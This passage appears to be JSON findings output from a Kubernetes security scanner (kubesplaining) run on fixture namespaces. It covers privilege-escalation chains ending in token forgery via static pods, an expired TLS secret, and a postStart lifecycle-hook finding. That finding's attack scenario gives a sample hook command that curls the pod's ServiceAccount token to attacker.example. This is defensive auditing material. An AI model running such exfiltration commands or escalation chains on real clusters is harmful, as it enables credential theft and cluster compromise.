        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-node-migrate",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-node-migrate",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS\n  2. `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pv-hostpath",
      "namespace": "pv-hostpath-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`.",
      "Acting as `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pv-hostpath",
          "namespace": "pv-hostpath-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-pwk7v falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-pv-hostpath",
          "namespace": "pv-hostpath-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/rbac-fixtures/sa-impersonate:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-impersonate` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-impersonate` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/rbac-fixtures/sa-impersonate` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod rbac-fixtures/imp-app-5f78d6bb9d-tqxvr falls back to node IAM role via IMDS\n  2. `ServiceAccount/rbac-fixtures/sa-impersonate` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-impersonate` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-impersonate` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/rbac-fixtures/sa-impersonate`.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-impersonate`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod rbac-fixtures/imp-app-5f78d6bb9d-tqxvr falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/rbac-fixtures/sa-impersonate`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-impersonate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod rbac-fixtures/imp-app-5f78d6bb9d-tqxvr falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-impersonate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/secrets-bundle/cross-ns-reader:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/secrets-bundle/cross-ns-reader` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/secrets-bundle/cross-ns-reader` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/secrets-bundle/cross-ns-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS\n  2. `ServiceAccount/secrets-bundle/cross-ns-reader` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cross-ns-reader",
      "namespace": "secrets-bundle"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/secrets-bundle/cross-ns-reader` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/secrets-bundle/cross-ns-reader` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/secrets-bundle/cross-ns-reader`.",
      "Acting as `ServiceAccount/secrets-bundle/cross-ns-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/secrets-bundle/cross-ns-reader`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/secrets-bundle/cross-ns-reader` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/secrets-bundle/cross-ns-reader` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cross-ns-reader",
          "namespace": "secrets-bundle"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jq2db falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "cross-ns-reader",
          "namespace": "secrets-bundle"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/statusspoof-fixtures/default:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.7,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/statusspoof-fixtures/default` can reach `token_mint` in 2 hop(s)",
    "description": "Subject `ServiceAccount/statusspoof-fixtures/default` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/statusspoof-fixtures/default` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS\n  2. `ServiceAccount/statusspoof-fixtures/default` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "default",
      "namespace": "statusspoof-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/statusspoof-fixtures/default` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/statusspoof-fixtures/default` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/statusspoof-fixtures/default`.",
      "Acting as `ServiceAccount/statusspoof-fixtures/default`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/statusspoof-fixtures/default`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "2. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "imds_node_role_pivot",
      "hop_count": 2,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/statusspoof-fixtures/default` → `/`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `IMDS reachable, IRSA unbound` that enables the first hop (`ServiceAccount/statusspoof-fixtures/default` → `/`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "statusspoof-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod statusspoof-fixtures/statusspoof-api-ff8647558-wd82j falls back to node IAM role via IMDS"
      },
      {
        "step": 2,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "default",
          "namespace": "statusspoof-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-SECRETS-TLS-EXPIRY-001:secrets-bundle:ingress-tls",
    "rule_id": "KUBE-SECRETS-TLS-EXPIRY-001",
    "severity": "MEDIUM",
    "score": 5.6,
    "category": "data_exfiltration",
    "title": "TLS Secret `secrets-bundle/ingress-tls` expired 1046d ago (NotAfter=2024-01-01T00:00:00Z)",
    "description": "Secret `secrets-bundle/ingress-tls` is a `kubernetes.io/tls` Secret and its certificate expired 1046d ago (NotAfter=2024-01-01T00:00:00Z). The expiry is read from the `cert-manager.io/certificate-name` + `cert-manager.io/issuer-name` family of annotations (the de-facto standard cert-manager and ArgoCD set on every TLS Secret they issue): `cert-manager.io/not-after`, `cert-manager.io/notafter`, or the legacy `cert-manager.io/expiration` annotation.\n\nThe secret's payload (`tls.crt`) is *not* read by the kubesplaining collector (see the privacy contract in `CLAUDE.md`: raw secret values are never collected). This rule is therefore a best-effort check based on annotations only: it fires on Secrets whose annotations report an expiry within the next 30 days or already in the past, and silently skips Secrets that have no parseable expiry annotation. A real PKI tool (cert-manager's Certificate CR controller, an external probe like `cert-monitor`, or `kubectl cert-monitor`) is the authoritative source.\n\nWhy this matters: an expired TLS Secret is the single most common cause of an Ingress / webhook outage that pages SREs at 3am. cert-manager auto-renews most certificates, but renewal can fail silently if (a) the Issuer is misconfigured, (b) the ACME challenge can't reach Let's Encrypt because of a NetworkPolicy change, (c) the Issuer's credentials have rotated, or (d) the Certificate CR was deleted but the Secret was kept. A 30-day window gives the platform team room to investigate and re-issue before the outage.",
    "resource": {
      "kind": "Secret",
      "name": "ingress-tls",
      "namespace": "secrets-bundle"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "object",
      "detail": "Secret `secrets-bundle/ingress-tls` (type `kubernetes.io/tls`): every Service, Ingress, and webhook callsite that references this Secret will start failing TLS handshake at NotAfter unless the certificate is rotated."
    },
    "impact": "Once `secrets-bundle/ingress-tls` expires, every consumer of the cert (Ingress backends, mutating/validating webhooks, mTLS sidecars, internal Service-to-Service callers) starts failing TLS handshake. For a webhook Secret this means every API admission call into the cluster fails until the cert is rotated.",
    "attack_scenario": [
      "This is primarily an availability finding, not an attacker-driven one. The relevant 'attacker' is time.",
      "On the day the cert expires, every TLS handshake against the consumer of `secrets-bundle/ingress-tls` returns `x509: certificate has expired`.",
      "For an Ingress: external traffic gets a browser warning, then is rejected. For a mutating webhook: every `kubectl apply` for matching resources hits `failed calling webhook ... x509`.",
      "For internal Service-to-Service mTLS (Istio, Linkerd, application-level mTLS): connections start dropping; sidecars surface as TLS-handshake-failure spikes in mesh dashboards.",
      "Recovery is manual: re-issue the cert (cert-manager Force Renew annotation, or a fresh `kubectl create secret tls`) and roll the consumer pods."
    ],
    "evidence": {
      "days_to_expiry": "1046d",
      "expired": true,
      "not_after": "2024-01-01T00:00:00Z",
      "type": "kubernetes.io/tls"
    },
    "remediation": "Re-issue the certificate before NotAfter. If `secrets-bundle/ingress-tls` is owned by cert-manager, force renewal; if it was created manually, replace it with a cert-manager Certificate CR so renewal is automatic.",
    "remediation_steps": [
      "Identify the Issuer. `kubectl get secret ingress-tls -n secrets-bundle -o jsonpath='{.metadata.annotations}'` shows `cert-manager.io/issuer-name` and `cert-manager.io/certificate-name` if cert-manager owns the Secret.",
      "For cert-manager-owned Secrets, force renewal with `cmctl renew \u003ccertificate-name\u003e -n \u003cns\u003e` (or `kubectl annotate certificate \u003cname\u003e cert-manager.io/issue-temporary-certificate=true`). The Certificate controller will create a new CertificateRequest and refresh the Secret.",
      "For manually-created Secrets, prefer migrating to a cert-manager Certificate CR pointing at an Issuer / ClusterIssuer. The chart for most ingress / webhook deployments includes one. Re-create with `kubectl apply -f` instead of editing `secrets-bundle/ingress-tls` in place.",
      "Verify the cert-manager Issuer is healthy: `kubectl get clusterissuer,issuer -A` and check `Ready` condition. ACME failures (DNS, HTTP-01 challenge) are the most common renewal blockers.",
      "Wire prevention: enable cert-manager's `cert-manager.io/private-key-rotation-policy: Always` and renewBefore (default 360h ≈ 15d) on all Certificate CRs. Add a Prometheus alert on `certmanager_certificate_expiration_timestamp_seconds \u003c (time() + 30 * 24 * 3600)`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/secret/#tls-secrets",
      "https://cert-manager.io/docs/usage/certificate/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://letsencrypt.org/2024/12/11/eoy-letter-2024/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: TLS secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/#tls-secrets"
      },
      {
        "title": "cert-manager: Certificate resource",
        "url": "https://cert-manager.io/docs/usage/certificate/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "Let's Encrypt: Certificate lifetimes",
        "url": "https://letsencrypt.org/2024/12/11/eoy-letter-2024/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:tlsExpiry"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIFECYCLE-001:Deployment:containersec-fixtures:containersec-lifecycle:app",
    "rule_id": "KUBE-CONTAINER-LIFECYCLE-001",
    "severity": "MEDIUM",
    "score": 5.5,
    "category": "defense_evasion",
    "title": "Container `app` in `Deployment/containersec-fixtures/containersec-lifecycle` runs a `postStart` lifecycle exec hook",
    "description": "Container `app` in `Deployment/containersec-fixtures/containersec-lifecycle` declares a `lifecycle.postStart.exec` handler that invokes `sh -c touch /tmp/started \u0026\u0026 echo postStart-ran \u003e /tmp/postStart.log`. Lifecycle exec hooks run inside the container at well-defined points (`postStart` immediately after the container is created, `preStop` immediately before termination) using the kubelet's exec stream, which means they execute as PID 1's effective user but completely outside the application's own observability and audit trail.\n\nThere are two distinct risk patterns. The first is *persistence and configuration drift*: an exec hook is the simplest way to mutate a container at runtime in a way that survives no Git review (the hook string lives in the PodSpec, but nothing forces it to be a small wrapper script). A common production smell is a `postStart` hook that fetches additional secrets, edits config files, or installs extra packages with `apt-get`; those mutations skip the image-signing pipeline, leave no audit-log entry, and frequently disable security controls the image build set up.\n\nThe second is *attack surface and detection bypass*. Lifecycle exec runs invisibly to most container EDR tooling: Falco's default rules treat exec-from-kubelet differently from in-container shell spawns, and many SIEM pipelines drop these events as \"infrastructure noise.\" An attacker who can mutate the PodSpec (compromised CI, modified Helm chart, exposed Argo CD) can add a `preStop` hook that exfiltrates secrets when the pod is terminated for any reason (rollout, eviction, node drain), giving them a stealthy persistent foothold tied to normal cluster operations.",
    "resource": {
      "kind": "Deployment",
      "name": "containersec-lifecycle",
      "namespace": "containersec-fixtures",
      "api_group": "apps"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/containersec-fixtures/containersec-lifecycle`"
    },
    "impact": "Lifecycle exec runs outside the application's observability surface and is frequently used to mutate container state at runtime, persist attacker-controlled changes, or exfiltrate secrets on graceful termination.",
    "attack_scenario": [
      "Attacker gains write access to the PodSpec source (compromised CI runner, mis-scoped ArgoCD App, leaked Helm values).",
      "They add or modify the `lifecycle.postStart.exec.command` to `[\"sh\",\"-c\",\"curl -d @/var/run/secrets/kubernetes.io/serviceaccount/token https://attacker.example/x\"]`.",
      "On the next rollout the new pods execute the hook; the existing pods execute the `preStop` variant when they are evicted during the rollout.",
      "The kubelet executes the command as the container's primary user. The application logs are empty (the app process never saw the request), and most container EDR rules ignore kubelet-exec.",
      "Attacker harvests the ServiceAccount token, the projected volume secrets, and any file the application user can read. The trail in the cluster audit log is one routine `update` to the Deployment."
    ],
    "evidence": {
      "command": "sh -c touch /tmp/started \u0026\u0026 echo postStart-ran \u003e /tmp/postStart.log",
      "container": "app",
      "hook": "postStart"
    },
    "remediation": "Move the work performed by the `postStart` hook into the image (build-time) or an init container; if the hook is genuinely required, make it a small auditable script under source control.",
    "remediation_steps": [
